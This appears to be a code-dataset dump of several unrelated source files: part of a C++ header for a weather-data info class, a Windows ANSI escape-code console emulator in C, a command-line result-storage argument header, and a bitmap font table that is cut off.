ar(CEREAL_NVP(grid), CEREAL_NVP(data)); } #endif }; template <typename T> class info { public: friend class himan::plugin::compiled_plugin_base; template <typename> friend class info; // for templated copy constructor info() = default; ~info() = default; /** * @brief Copy constructor for info class. Will preserve data backend. * New info has the same data backend matrix as the original one. * This means that multiple threads can access the same data with * different infos ( --> descriptor positions ). Clone will have the * same initial descriptor positions. */ info(const info& other); // 'coercion constructor' to create info from an info with a different data type template <typename V> info(const info<V>& other); info(const std::vector<forecast_type>& ftypes, const std::vector<forecast_time>& times, const std::vector<level>& levels, const std::vector<param>& params); info(const forecast_type& ftype, const forecast_time& time, const level& level, const param& param); info& operator=(const info& other) = delete; std::string ClassName() const { return "himan::info"; } std::ostream& Write(std::ostream& file) const; /** * @brief Merge @param to 'this' info * @param otherInfo */ void Merge(std::shared_ptr<info> otherInfo); /** * @brief Merge all infos in @param to 'this' info * @param otherInfos */ void Merge(std::vector<std::shared_ptr<info>>& otherInfos); /** * @brief Initialize data backend with correct number of matrices * * Function will create a number of matrices to * hold the data. The number of the matrices depends on the size * of times, params and levels. * * Data is copied. * * Will *not* preserve iterator positions. */ void Create(std::shared_ptr<base<T>> baseGrid, bool createDataBackend = false); /** * @brief Re-order infos in the dimension vector if dimension sizes are changed * * If existing dimensions are resized, the data in the dimension vector needs * to be reordered or the calculated iterator indices are not correct and segfault * is more than likely. * * Regridding will therefore *move* the grids from the old dimension vector to a * new one. For now regridding is only supported for level and param dimensions. * * Will *not* preserve iterator positions. */ template <typename U> void Regrid(const std::vector<U>& newDim); void Producer(long theFmiProducerID) { itsProducer = producer(theFmiProducerID); } void Producer(const producer& theProducer) { itsProducer = theProducer; } const producer& Producer() const { return itsProducer; } //! Set all iterators to first position void First(); //! Reset all iterators void Reset(); /** * @brief Advance dimension iterators in their natural order. * * Location iterator is not advanced */ bool Next(); /** * @brief Set location iterator to given index value. No limit-checking is made. */ void LocationIndex(size_t theLocationIndex) { itsLocationIndex = theLocationIndex; } void ResetLocation() { itsLocationIndex = kIteratorResetValue; } bool NextLocation(); bool FirstLocation() { ResetLocation(); return NextLocation(); } size_t LocationIndex() const { return itsLocationIndex; } size_t SizeLocations() const { return itsDimensions[Index()]->data.Size(); } /** * @brief Return current latlon coordinates * * Does not currently support stereographic projection. * In rotated latlon projection function return coordinates in rotated form. * * @return Latitude and longitude of current grid point */ point LatLon() const; /** * @brief Return station information corresponding to current location. Only valid * for irregular grids. * * @return station information */ station Station() const; /** * @brief Replace current grid with the function argument * @param d shared pointer to a grid instance */ void Base(std::shared_ptr<base<T>> b) { ASSERT(itsDimensions.size() > Index()); itsDimensions[Index()] = b; } std::shared_ptr<base<T>> Base() { return itsDimensions[Index()]; } /** * @brief Shortcut to get the current data matrix * @return Current data matrix */ matrix<T>& Data() { return itsDimensions[Index()]->data; } const matrix<T>& Data() const { return itsDimensions[Index()]->data; } std::shared_ptr<grid> Grid() const { ASSERT(itsDimensions.size()); return itsDimensions[Index()]->grid; } std::shared_ptr<packed_data> PackedData() const { return itsDimensions[Index()]->pdata; } /** * @brief Return size of meta matrix. Is the same as times*params*levels. * */ size_t DimensionSize() const { return itsDimensions.size(); } /** * @brief Set the data value pointed by the iterators with a new one */ void Value(T theValue) { Data().Set(itsLocationIndex, theValue); } /** * @return Data value pointed by the iterators */ T Value() const { return itsDimensions[Index()]->data.At(itsLocationIndex); } /** * @brief Clear info contents and iterators * * Does not free memory explicitly. */ void Clear(); bool IsValidGrid() const { return (itsDimensions[Index()] != nullptr && Grid()); } /** * @brief Set the iterator positions to first valid grid found. * * If info sparsity=0 then it is the first iterator position. * Will change iterator position only in the inner-most dimension * (parameter). */ void FirstValidGrid(); info Clone(); // The following four functions are for convenience and backwards // compatibility only const param& Param() const { return itsParamIterator.At(); } param& Param() { return itsParamIterator.At(); } const level& Level() const { return itsLevelIterator.At(); } level& Level() { return itsLevelIterator.At(); } const forecast_time& Time() const { return itsTimeIterator.At(); } forecast_time& Time() { return itsTimeIterator.At(); } const forecast_type& ForecastType() const { return itsForecastTypeIterator.At(); } forecast_type& ForecastType() { return itsForecastTypeIterator.At(); } template <typename U> himan::iterator<U>& Iterator() { return ReturnIterator(type2type<U>()); } template <typename U> const himan::iterator<U>& Iterator() const { return ReturnIterator(type2type<U>()); } //! Set iterator position to first element template <typename U> bool First() { return Iterator<U>().First(); } //! Set iterator position to last element template <typename U> bool Last() { return Iterator<U>().Last(); } //! Advance iterator by one template <typename U> bool Next() { return Iterator<U>().Next(); } //! Retreat iterator by one template <typename U> bool Previous() { return Iterator<U>().Previous(); } //! Reset iterator position (not pointing to any element) template <typename U> void Reset() { Iterator<U>().Reset(); } //! Replace iterator with a new one template <typename U> void Iterator(const himan::iterator<U>& theIter) { Iterator<U>() = theIter; } //! Set iterator values from a vector replacing old values template <typename U> void Set(const std::vector<U>& values) { auto& iter = Iterator<U>(); if (!itsDimensions.empty() && iter.Size() && iter.Size() < values.size()) { Regrid<U>(values); } iter = iterator<U>(values); } //! Replace a single value in iterator template <typename U> void Set(const U& value) { Iterator<U>().Replace(value); } //! Return iteraror value with given index without moving the position template <typename U> const U& Peek(size_t index) const { return Iterator<U>().At(index); } //! Find if a given value is in the iterator range template <typename U> bool Find(const U& value) { return Iterator<U>().Set(value); } //! Return current iterator index number template <typename U> size_t Index() const { return Iterator<U>().Index(); } //! Set current iterator index number template <typename U> void Index(size_t theIndex) { Iterator<U>().Index(theIndex); } //! Return iterator size template <typename U> size_t Size() const { return Iterator<U>().Size(); } //! Return iterator value from current position template <typename U> U Value() const { return Iterator<U>().At(); } protected: std::vector<std::shared_ptr<base<T>>>& Dimensions() { return itsDimensions; } private: const himan::iterator<forecast_type>& ReturnIterator(type2type<forecast_type>) const { return itsForecastTypeIterator; } himan::iterator<forecast_type>& ReturnIterator(type2type<forecast_type>) { return itsForecastTypeIterator; } const himan::iterator<forecast_time>& ReturnIterator(type2type<forecast_time>) const { return itsTimeIterator; } himan::iterator<forecast_time>& ReturnIterator(type2type<forecast_time>) { return itsTimeIterator; } const himan::iterator<level>& ReturnIterator(type2type<level>) const { return itsLevelIterator; } himan::iterator<level>& ReturnIterator(type2type<level>) { return itsLevelIterator; } const himan::iterator<param>& ReturnIterator(type2type<param>) const { return itsParamIterator; } himan::iterator<param>& ReturnIterator(type2type<param>) { return itsParamIterator; } /** * @brief Re-create indexing of elements in meta-matrix if the dimensions * have changed. * * Because meta-matrix is a sparse matrix, if the dimension sizes are changed * (for example with Merge()), ie adding parameters, levels, times to an info * the ordering must also be changed accordingly. * * ReIndex() moves data around but does not copy (ie allocate new memory). * */ void ReIndex(size_t oldForecastTypeSize, size_t oldTimeSize, size_t oldLevelSize, size_t oldParamSize); /** * @brief Return running index number when given relative index for each * three dimension * * @param timeIndex x-dimension index * @param levelIndex y-dimension index * @param paramIndex z-dimension index * @return */ size_t Index(size_t forecastTypeIndex, size_t timeIndex, size_t levelIndex, size_t paramIndex) const; size_t Index() const { return Index(Index<forecast_type>(), Index<forecast_time>(), Index<level>(), Index<param>()); } level_iter itsLevelIterator; time_iter itsTimeIterator; param_iter itsParamIterator; forecast_type_iter itsForecastTypeIterator; std::vector<std::shared_ptr<base<T>>> itsDimensions; logger itsLogger = logger("info"); producer itsProducer; size_t itsLocationIndex = kIteratorResetValue; #ifdef SERIALIZATION friend class cereal::access; template <class Archive> void serialize(Archive& ar) { ar(CEREAL_NVP(itsLevelIterator), CEREAL_NVP(itsTimeIterator), CEREAL_NVP(itsParamIterator), CEREAL_NVP(itsForecastTypeIterator), CEREAL_NVP(itsDimensions), CEREAL_NVP(itsLogger), CEREAL_NVP(itsProducer), CEREAL_NVP(itsLocationIndex)); } #endif }; #include "info_impl.h" } // namespace himan #endif /* INFO_H */
19.570204
109
0.680979
c89d355ad2ede4067a46fcb867d356b7ebc7011d
10,779
c
C
smilelib/src/platform/windows/ansi-console.c
seanofw/smile
3bc8807513cdb54053134fe2c79c5bf077aa026d
[ "Apache-2.0" ]
15
2016-05-27T14:30:28.000Z
2020-12-09T09:14:18.000Z
smilelib/src/platform/windows/ansi-console.c
seanofw/smile
3bc8807513cdb54053134fe2c79c5bf077aa026d
[ "Apache-2.0" ]
null
null
null
smilelib/src/platform/windows/ansi-console.c
seanofw/smile
3bc8807513cdb54053134fe2c79c5bf077aa026d
[ "Apache-2.0" ]
4
2016-01-17T03:52:21.000Z
2019-02-06T19:24:33.000Z
// This code is based on Yasuhiro Matsumoto's (mattn's) "ansicolor-w32.c" library, // found at https://github.com/mattn/ansicolor-w32.c , heavily refactored and // with lots of additional functionality. // // The original is covered under the MIT open-source license, and unlike the rest // of SmileLib this file is covered under the MIT open-source license as well. #ifdef _WIN32 #include <smile/platform/windows/ansi-console.h> #include <windows.h> #include <errno.h> #ifndef FOREGROUND_MASK # define FOREGROUND_MASK (FOREGROUND_RED|FOREGROUND_BLUE|FOREGROUND_GREEN|FOREGROUND_INTENSITY) #endif #ifndef BACKGROUND_MASK # define BACKGROUND_MASK (BACKGROUND_RED|BACKGROUND_BLUE|BACKGROUND_GREEN|BACKGROUND_INTENSITY) #endif HANDLE _get_osfhandle(int fileno); typedef struct ConsoleStateStruct { CONSOLE_SCREEN_BUFFER_INFO consoleScreenBufferInfo; WORD attr, attrOld; } *ConsoleState; static void SetMode_SetColumns(HANDLE handle, int numColumns) { CONSOLE_SCREEN_BUFFER_INFO csbi; DWORD written, csize; COORD coord; int width, height; GetConsoleScreenBufferInfo(handle, &csbi); width = csbi.dwSize.X; height = csbi.srWindow.Bottom - csbi.srWindow.Top + 1; csize = width * (height + 1); coord.X = 0; coord.Y = csbi.srWindow.Top; FillConsoleOutputCharacter(handle, ' ', csize, coord, &written); FillConsoleOutputAttribute(handle, csbi.wAttributes, csize, coord, &written); SetConsoleCursorPosition(handle, csbi.dwCursorPosition); csbi.dwSize.X = numColumns; SetConsoleScreenBufferSize(handle, csbi.dwSize); csbi.srWindow.Right = csbi.srWindow.Left + (numColumns - 1); SetConsoleWindowInfo(handle, TRUE, &csbi.srWindow); } static void SetMode_ReverseVideo(HANDLE handle, ConsoleState consoleState) { consoleState->attr = ((consoleState->attr & FOREGROUND_MASK) << 4) | ((consoleState->attr & BACKGROUND_MASK) >> 4); SetConsoleTextAttribute(handle, consoleState->attr); } static void SetMode_ShowCursor(HANDLE handle, BOOL shown) { CONSOLE_CURSOR_INFO cci; GetConsoleCursorInfo(handle, &cci); cci.bVisible = shown; SetConsoleCursorInfo(handle, &cci); } static void SetMode_MoveCursor(HANDLE handle, int x, int y) { COORD coord; coord.X = x; coord.Y = y; SetConsoleCursorPosition(handle, coord); } static void SetColors(HANDLE handle, ConsoleState consoleState, int *values, int numValues) { int i; WORD attr = consoleState->attrOld; for (i = 0; i <= numValues; i++) { if (values[i] == -1 || values[i] == 0) attr = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE; else if (values[i] == 1) attr |= FOREGROUND_INTENSITY; else if (values[i] == 4) attr |= FOREGROUND_INTENSITY; else if (values[i] == 7) attr = ((attr & FOREGROUND_MASK) << 4) | ((attr & BACKGROUND_MASK) >> 4); else if (values[i] == 10) ; // symbol on else if (values[i] == 11) ; // symbol off else if (values[i] == 22) attr &= ~FOREGROUND_INTENSITY; else if (values[i] == 24) attr &= ~FOREGROUND_INTENSITY; else if (values[i] == 27) attr = ((attr & FOREGROUND_MASK) << 4) | ((attr & BACKGROUND_MASK) >> 4); else if (values[i] >= 30 && values[i] <= 37) { attr = (attr & (BACKGROUND_MASK | FOREGROUND_INTENSITY)); if ((values[i] - 30) & 1) attr |= FOREGROUND_RED; if ((values[i] - 30) & 2) attr |= FOREGROUND_GREEN; if ((values[i] - 30) & 4) attr |= FOREGROUND_BLUE; } //else if (v[i] == 39) // attr = (~attr & BACKGROUND_MASK); else if (values[i] >= 40 && values[i] <= 47) { attr = (attr & (FOREGROUND_MASK | BACKGROUND_INTENSITY)); if ((values[i] - 40) & 1) attr |= BACKGROUND_RED; if ((values[i] - 40) & 2) attr |= BACKGROUND_GREEN; if ((values[i] - 40) & 4) attr |= BACKGROUND_BLUE; } //else if (v[i] == 49) // attr = (~attr & FOREGROUND_MASK); else if (values[i] == 100) attr = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE; } SetConsoleTextAttribute(handle, attr); consoleState->attrOld = attr; } static void ClearLine(HANDLE handle, ConsoleState consoleState, int *values, int numValues) { CONSOLE_SCREEN_BUFFER_INFO csbi; COORD coord; DWORD written, csize; GetConsoleScreenBufferInfo(handle, &csbi); coord = csbi.dwCursorPosition; switch (values[0]) { default: case 0: csize = csbi.dwSize.X - coord.X; break; case 1: csize = coord.X; coord.X = 0; break; case 2: csize = csbi.dwSize.X; coord.X = 0; break; } FillConsoleOutputCharacter(handle, ' ', csize, coord, &written); FillConsoleOutputAttribute(handle, csbi.wAttributes, csize, coord, &written); SetConsoleCursorPosition(handle, csbi.dwCursorPosition); } static void ClearScreen(HANDLE handle, ConsoleState consoleState, int *values, int numValues) { CONSOLE_SCREEN_BUFFER_INFO csbi; COORD coord; DWORD written, csize; int width, height; GetConsoleScreenBufferInfo(handle, &csbi); width = csbi.dwSize.X; height = csbi.srWindow.Bottom - csbi.srWindow.Top + 1; coord = csbi.dwCursorPosition; switch (values[0]) { default: case 0: csize = width * (height - coord.Y) - coord.X; coord.X = 0; break; case 1: csize = width * coord.Y + coord.X; coord.X = 0; coord.Y = csbi.srWindow.Top; break; case 2: csize = width * (height + 1); coord.X = 0; coord.Y = csbi.srWindow.Top; break; } FillConsoleOutputCharacter(handle, ' ', csize, coord, &written); FillConsoleOutputAttribute(handle, csbi.wAttributes, csize, coord, &written); SetConsoleCursorPosition(handle, csbi.dwCursorPosition); } static void MoveCursor(HANDLE handle, ConsoleState consoleState, int *values, int numValues) { CONSOLE_SCREEN_BUFFER_INFO csbi; COORD coord; GetConsoleScreenBufferInfo(handle, &csbi); coord = csbi.dwCursorPosition; if (values[0] != -1) { if (values[1] != -1) { coord.Y = csbi.srWindow.Top + values[0] - 1; coord.X = values[1] - 1; } else coord.X = values[0] - 1; } else { coord.X = 0; coord.Y = csbi.srWindow.Top; } if (coord.X < csbi.srWindow.Left) coord.X = csbi.srWindow.Left; else if (coord.X > csbi.srWindow.Right) coord.X = csbi.srWindow.Right; if (coord.Y < csbi.srWindow.Top) coord.Y = csbi.srWindow.Top; else if (coord.Y > csbi.srWindow.Bottom) coord.Y = csbi.srWindow.Bottom; SetConsoleCursorPosition(handle, coord); } static void ProcessAnsiEscapeCode(HANDLE handle, ConsoleState consoleState, char mode, char modifier, int *values, int numValues) { int i; switch (mode) { case 'h': if (modifier == '?') { for (i = 0; i <= numValues; i++) { switch (values[i]) { case 3: SetMode_SetColumns(handle, 132); break; case 5: SetMode_ReverseVideo(handle, consoleState); break; case 25: SetMode_ShowCursor(handle, TRUE); break; case 47: SetMode_MoveCursor(handle, 0, 0); break; } } } else if (modifier == '>' && values[0] == 5) { SetMode_ShowCursor(handle, FALSE); } break; case 'l': if (modifier == '?') { for (i = 0; i <= numValues; i++) { switch (values[i]) { case 3: SetMode_SetColumns(handle, 80); break; case 5: SetMode_ReverseVideo(handle, consoleState); break; case 25: SetMode_ShowCursor(handle, FALSE); break; } } } else if (modifier == '>' && values[0] == 5) { SetMode_ShowCursor(handle, TRUE); } break; case 'm': SetColors(handle, consoleState, values, numValues); break; case 'K': ClearLine(handle, consoleState, values, numValues); break; case 'J': ClearScreen(handle, consoleState, values, numValues); break; case 'H': case 'f': MoveCursor(handle, consoleState, values, numValues); break; } } static const char *ParseAndExecuteEscapeCode(FILE *fp, const char *ptr, const char *end, HANDLE handle, ConsoleState consoleState) { char ch, mode; int values[65]; int numValues, modifier; // Reset the 'values' collection. numValues = 0; values[0] = -1; // Consume the '\e' itself. ptr++; // Parse the input into a list of numbers until we reach either the action code or an EOI. mode = '\0'; while (ptr < end) { ch = *ptr++; if (isdigit(ch)) { if (values[numValues] == -1) values[numValues] = ch - '0'; else values[numValues] = values[numValues] * 10 + ch - '0'; } else if (ch == '[') { continue; } else if (ch == ';') { if (numValues < 64) values[++numValues] = -1; } else if (ch == '>' || ch == '?') { modifier = ch; } else { mode = ch; break; } } // Now go do it. ProcessAnsiEscapeCode(handle, consoleState, mode, modifier, values, numValues); return ptr; } size_t fwrite_ansi_win32(const void *data, size_t size, size_t count, FILE *fp) { static int first = 1; HANDLE handle = INVALID_HANDLE_VALUE; struct ConsoleStateStruct consoleState; const char *ptr = (const char *)data; const char *end = ptr + size * count; handle = (HANDLE)_get_osfhandle(fileno(fp)); if (!GetConsoleScreenBufferInfo(handle, &consoleState.consoleScreenBufferInfo)) return fwrite(data, size, count, fp); consoleState.attrOld = consoleState.consoleScreenBufferInfo.wAttributes; while (ptr < end) { if (*ptr == '\033') { // Handle this escape code. ptr = ParseAndExecuteEscapeCode(fp, ptr, end, handle, &consoleState); } else { // Find the extent of this sequence of characters that *isn't* escape codes. const char *start = ptr; while (ptr < end && *ptr != '\033') ptr++; // Write the whole sequence. if (ptr > start) { fwrite(start, 1, ptr - start, fp); } } } return (size_t)(ptr - (const char *)data) / size; } int vfprintf_ansi_win32(FILE *fp, const char *format, va_list v) { int r; char inlineBuf[256]; char *tempBuf = NULL; char *buf; r = _vscprintf(format, v); if (r >= 256) { tempBuf = malloc(sizeof(char) * (r + 1)); if (tempBuf == NULL) Smile_Abort_OutOfMemory(); buf = tempBuf; } else buf = inlineBuf; r = vsprintf(buf, format, v); if (r > 0) r = fwrite_ansi_win32(buf, 1, r, fp); if (tempBuf != NULL) free(tempBuf); return r; } int fprintf_ansi_win32(FILE *fp, const char *format, ...) { int r; va_list v; va_start(v, format); r = vfprintf_ansi_win32(fp, format, v); va_end(v); return r; } int fputs_ansi_win32(FILE *fp, const char *s) { int r = fwrite_ansi_win32(s, 1, strlen(s), fp); r += fwrite_ansi_win32("\n", 1, 1, fp); return r; } int printf_ansi_win32(const char *format, ...) { int r; va_list v; va_start(v, format); r = vfprintf_ansi_win32(stdout, format, v); va_end(v); return r; } int vprintf_ansi_win32(const char *format, va_list v) { return vfprintf_ansi_win32(stdout, format, v); } int puts_ansi_win32(const char *s) { fputs_ansi_win32(stdout, s); } #endif
23.230603
130
0.66175
08906a1e01b3f3b16e177471ecb571432204fba9
1,653
h
C
rtt/clinterface/resultstoragearg.h
ph4r05/randomness-testing-toolkit
de3000c7bb467852c3444755a7d84cfe8ff90497
[ "MIT" ]
16
2016-11-09T15:45:52.000Z
2021-03-05T13:52:24.000Z
rtt/clinterface/resultstoragearg.h
DalavanCloud/randomness-testing-toolkit
62dd577ed872961d472c9b234e605ff79cdee5e3
[ "MIT" ]
36
2015-10-13T19:22:57.000Z
2020-05-12T16:23:55.000Z
rtt/clinterface/resultstoragearg.h
DalavanCloud/randomness-testing-toolkit
62dd577ed872961d472c9b234e605ff79cdee5e3
[ "MIT" ]
4
2016-08-21T00:37:01.000Z
2022-02-10T16:06:41.000Z
#ifndef RTT_CLINTERFACE_RESULTSTORAGEARG_H #define RTT_CLINTERFACE_RESULTSTORAGEARG_H #include <string> #include <istream> #include <ostream> #include "rtt/constants.h" #include "rtt/bugexception.h" namespace rtt { namespace clinterface { /** * @brief The ResultStorageArg class Stores information about the chosen storage. * Stored information: ID, name, short name (cli) */ class ResultStorageArg { public: ResultStorageArg(); ResultStorageArg(const std::string & resultStorage); static std::string getName(Constants::ResultStorageID rsId); static std::string getShortName(Constants::ResultStorageID rsId); static std::string getDefaultShortName(); Constants::ResultStorageID getResultStorageId() const; std::string getName(); std::string getShortName(); friend std::istream & operator>> (std::istream & is, ResultStorageArg & rs) { std::string resultStorage; is >> resultStorage; if(!is.eof() || is.fail()) return is; rs.init(resultStorage); return is; } friend std::ostream & operator<< (std::ostream & os, const ResultStorageArg & rs) { rs.initCheck(); os << rs.name; return os; } private: bool initialized = false; Constants::ResultStorageID resultStorageId; std::string name; std::string shortName; static Constants::ResultStorageID getResultStorageIdFromShortName( const std::string & shortName); void init(const std::string & shortName); void initCheck() const; }; } // namespace clinterface } // namespace rtt #endif // RTT_CLINTERFACE_RESULTSTORAGEARG_H
23.28169
87
0.68542
08e9a939db24f1c8b1a7a33a1ba48a6bf25a4eda
7,246
h
C
src/Font5x7Fixed.h
DutchMaker/LilyGo-ePaper
ec2270917c3059556fc1dd0cda237ba7c721d49d
[ "MIT" ]
null
null
null
src/Font5x7Fixed.h
DutchMaker/LilyGo-ePaper
ec2270917c3059556fc1dd0cda237ba7c721d49d
[ "MIT" ]
null
null
null
src/Font5x7Fixed.h
DutchMaker/LilyGo-ePaper
ec2270917c3059556fc1dd0cda237ba7c721d49d
[ "MIT" ]
null
null
null
/** ** 5x7 font * * * Author Rob Jennings */ const uint8_t Font5x7FixedBitmaps[] PROGMEM = { 0xFA, 0xB4, 0x52, 0xBE, 0xAF, 0xA9, 0x40, 0x23, 0xE8, 0xE2, 0xF8, 0x80, 0xC6, 0x44, 0x44, 0x4C, 0x60, 0x64, 0xA8, 0x8A, 0xC9, 0xA0, 0xD8, 0x00, 0x6A, 0xA4, 0x00, 0x95, 0x58, 0x00, 0x25, 0x5D, 0xF7, 0x54, 0x80, 0x21, 0x3E, 0x42, 0x00, 0xD0, 0xF8, 0x00, 0xF0, 0x08, 0x88, 0x88, 0x00, 0x74, 0x67, 0x5C, 0xC5, 0xC0, 0x59, 0x24, 0xB8, 0x00, 0x74, 0x42, 0x22, 0x23, 0xE0, 0xF8, 0x88, 0x20, 0xC5, 0xC0, 0x11, 0x95, 0x2F, 0x88, 0x40, 0xFC, 0x21, 0xE0, 0xC5, 0xC0, 0x32, 0x21, 0xE8, 0xC5, 0xC0, 0xF8, 0x44, 0x44, 0x21, 0x00, 0x74, 0x62, 0xE8, 0xC5, 0xC0, 0x74, 0x62, 0xF0, 0x89, 0x80, 0xF3, 0xC0, 0xF3, 0x60, 0x12, 0x48, 0x42, 0x10, 0xF8, 0x3E, 0x00, 0x84, 0x21, 0x24, 0x80, 0x74, 0x42, 0x22, 0x00, 0x80, 0x74, 0x6B, 0x7B, 0xC1, 0xC0, 0x22, 0xA3, 0xF8, 0xC6, 0x20, 0xF4, 0x63, 0xE8, 0xC7, 0xC0, 0x74, 0x61, 0x08, 0x45, 0xC0, 0xE4, 0xA3, 0x18, 0xCB, 0x80, 0xFC, 0x21, 0xE8, 0x43, 0xE0, 0xFC, 0x21, 0xE8, 0x42, 0x00, 0x74, 0x61, 0x38, 0xC5, 0xC0, 0x8C, 0x63, 0xF8, 0xC6, 0x20, 0xE9, 0x24, 0xB8, 0x00, 0x38, 0x84, 0x21, 0x49, 0x80, 0x8C, 0xA9, 0x8A, 0x4A, 0x20, 0x84, 0x21, 0x08, 0x43, 0xE0, 0x8E, 0xEB, 0x18, 0xC6, 0x20, 0x8C, 0x73, 0x59, 0xC6, 0x20, 0x74, 0x63, 0x18, 0xC5, 0xC0, 0xF4, 0x63, 0xE8, 0x42, 0x00, 0x74, 0x63, 0x1A, 0xC9, 0xA0, 0xF4, 0x63, 0xEA, 0x4A, 0x20, 0x7C, 0x20, 0xE0, 0x87, 0xC0, 0xF9, 0x08, 0x42, 0x10, 0x80, 0x8C, 0x63, 0x18, 0xC5, 0xC0, 0x8C, 0x63, 0x18, 0xA8, 0x80, 0x8C, 0x63, 0x1A, 0xEE, 0x20, 0x8C, 0x54, 0x45, 0x46, 0x20, 0x8C, 0x54, 0x42, 0x10, 0x80, 0xF8, 0x44, 0x44, 0x43, 0xE0, 0xF2, 0x49, 0x38, 0x00, 0x82, 0x08, 0x20, 0x80, 0xE4, 0x92, 0x78, 0x00, 0x22, 0xA2, 0x00, 0xF8, 0x88, 0x80, 0x61, 0x79, 0x70, 0x88, 0xE9, 0x99, 0xE0, 0x78, 0x88, 0x70, 0x11, 0x79, 0x99, 0x70, 0x69, 0xF8, 0x70, 0x25, 0x4E, 0x44, 0x40, 0x79, 0x71, 0xE0, 0x88, 0xE9, 0x99, 0x90, 0xBE, 0x10, 0x11, 0x19, 0x60, 0x88, 0x9A, 0xCA, 0x90, 0xFE, 0x00, 0xDD, 0x6B, 0x18, 0x80, 0xE9, 0x99, 0x90, 0x69, 0x99, 0x60, 0xE9, 0xE8, 0x80, 0x79, 0x71, 0x10, 0xE9, 0x88, 0x80, 0x78, 0x61, 0xE0, 0x44, 0xE4, 0x45, 0x20, 0x99, 0x99, 0x60, 0x8C, 0x62, 0xA2, 0x00, 0x8C, 0x6B, 0x55, 0x00, 0x8A, 0x88, 0xA8, 0x80, 0x99, 0x71, 0xE0, 0xF2, 0x48, 0xF0, 0x29, 0x44, 0x88, 0x00, 0xFE, 0x00, 0x89, 0x14, 0xA0, 0x00, 0x00, 0x0D, 0xB0, 0x00 }; const GFXglyph Font5x7FixedGlyphs[] PROGMEM = { { 0, 0, 1, 3, 0, 0 } // ' ' ,{ 0, 1, 7, 3, 1, -7 } // '!' ,{ 1, 3, 2, 4, 0, -7 } // '"' ,{ 2, 5, 7, 6, 0, -7 } // '#' ,{ 7, 5, 7, 6, 0, -7 } // '$' ,{ 12, 5, 7, 6, 0, -7 } // '%' ,{ 17, 5, 7, 6, 0, -7 } // '&' ,{ 22, 2, 3, 3, 0, -7 } // ''' ,{ 24, 2, 7, 3, 0, -7 } // '(' ,{ 27, 2, 7, 3, 0, -7 } // ')' ,{ 30, 5, 7, 6, 0, -7 } // '*' ,{ 35, 5, 5, 6, 0, -6 } // '+' ,{ 39, 2, 2, 3, 0, -2 } // ',' ,{ 40, 5, 1, 6, 0, -4 } // '-' ,{ 42, 2, 2, 3, 0, -2 } // '.' ,{ 43, 5, 5, 6, 0, -6 } // '/' ,{ 47, 5, 7, 6, 0, -7 } // '0' ,{ 52, 3, 7, 4, 0, -7 } // '1' ,{ 56, 5, 7, 6, 0, -7 } // '2' ,{ 61, 5, 7, 6, 0, -7 } // '3' ,{ 66, 5, 7, 6, 0, -7 } // '4' ,{ 71, 5, 7, 6, 0, -7 } // '5' ,{ 76, 5, 7, 6, 0, -7 } // '6' ,{ 81, 5, 7, 6, 0, -7 } // '7' ,{ 86, 5, 7, 6, 0, -7 } // '8' ,{ 91, 5, 7, 6, 0, -7 } // '9' ,{ 96, 2, 5, 3, 0, -6 } // ':' ,{ 98, 2, 6, 3, 0, -6 } // ';' ,{ 100, 4, 7, 5, 0, -7 } // '<' ,{ 104, 5, 3, 6, 0, -5 } // '=' ,{ 107, 4, 7, 5, 0, -7 } // '>' ,{ 111, 5, 7, 6, 0, -7 } // '?' ,{ 116, 5, 7, 6, 0, -7 } // '@' ,{ 121, 5, 7, 6, 0, -7 } // 'A' ,{ 126, 5, 7, 6, 0, -7 } // 'B' ,{ 131, 5, 7, 6, 0, -7 } // 'C' ,{ 136, 5, 7, 6, 0, -7 } // 'D' ,{ 141, 5, 7, 6, 0, -7 } // 'E' ,{ 146, 5, 7, 6, 0, -7 } // 'F' ,{ 151, 5, 7, 6, 0, -7 } // 'G' ,{ 156, 5, 7, 6, 0, -7 } // 'H' ,{ 161, 3, 7, 6, 1, -7 } // 'I' ,{ 165, 5, 7, 6, 0, -7 } // 'J' ,{ 170, 5, 7, 6, 0, -7 } // 'K' ,{ 175, 5, 7, 6, 0, -7 } // 'L' ,{ 180, 5, 7, 6, 0, -7 } // 'M' ,{ 185, 5, 7, 6, 0, -7 } // 'N' ,{ 190, 5, 7, 6, 0, -7 } // 'O' ,{ 195, 5, 7, 6, 0, -7 } // 'P' ,{ 200, 5, 7, 6, 0, -7 } // 'Q' ,{ 205, 5, 7, 6, 0, -7 } // 'R' ,{ 210, 5, 7, 6, 0, -7 } // 'S' ,{ 215, 5, 7, 6, 0, -7 } // 'T' ,{ 220, 5, 7, 6, 0, -7 } // 'U' ,{ 225, 5, 7, 6, 0, -7 } // 'V' ,{ 230, 5, 7, 6, 0, -7 } // 'W' ,{ 235, 5, 7, 6, 0, -7 } // 'X' ,{ 240, 5, 7, 6, 0, -7 } // 'Y' ,{ 245, 5, 7, 6, 0, -7 } // 'Z' ,{ 250, 3, 7, 4, 0, -7 } // '[' ,{ 254, 5, 5, 6, 0, -6 } // '\' ,{ 258, 3, 7, 4, 0, -7 } // ']' ,{ 262, 5, 3, 6, 0, -7 } // '^' ,{ 265, 5, 1, 6, 0, -1 } // '_' ,{ 266, 3, 3, 4, 0, -7 } // '`' ,{ 268, 4, 5, 5, 0, -5 } // 'a' ,{ 271, 4, 7, 5, 0, -7 } // 'b' ,{ 275, 4, 5, 5, 0, -5 } // 'c' ,{ 278, 4, 7, 5, 0, -7 } // 'd' ,{ 282, 4, 5, 5, 0, -5 } // 'e' ,{ 285, 4, 7, 5, 0, -7 } // 'f' ,{ 289, 4, 5, 5, 0, -5 } // 'g' ,{ 292, 4, 7, 5, 0, -7 } // 'h' ,{ 296, 1, 7, 2, 0, -7 } // 'i' ,{ 297, 4, 7, 5, 0, -7 } // 'j' ,{ 301, 4, 7, 5, 0, -7 } // 'k' ,{ 305, 1, 7, 2, 0, -7 } // 'l' ,{ 307, 5, 5, 6, 0, -5 } // 'm' ,{ 311, 4, 5, 5, 0, -5 } // 'n' ,{ 314, 4, 5, 5, 0, -5 } // 'o' ,{ 317, 4, 5, 5, 0, -5 } // 'p' ,{ 320, 4, 5, 5, 0, -5 } // 'q' ,{ 323, 4, 5, 5, 0, -5 } // 'r' ,{ 326, 4, 5, 5, 0, -5 } // 's' ,{ 329, 4, 7, 5, 0, -7 } // 't' ,{ 333, 4, 5, 5, 0, -5 } // 'u' ,{ 336, 5, 5, 6, 0, -5 } // 'v' ,{ 340, 5, 5, 6, 0, -5 } // 'w' ,{ 344, 5, 5, 6, 0, -5 } // 'x' ,{ 348, 4, 5, 5, 0, -5 } // 'y' ,{ 351, 4, 5, 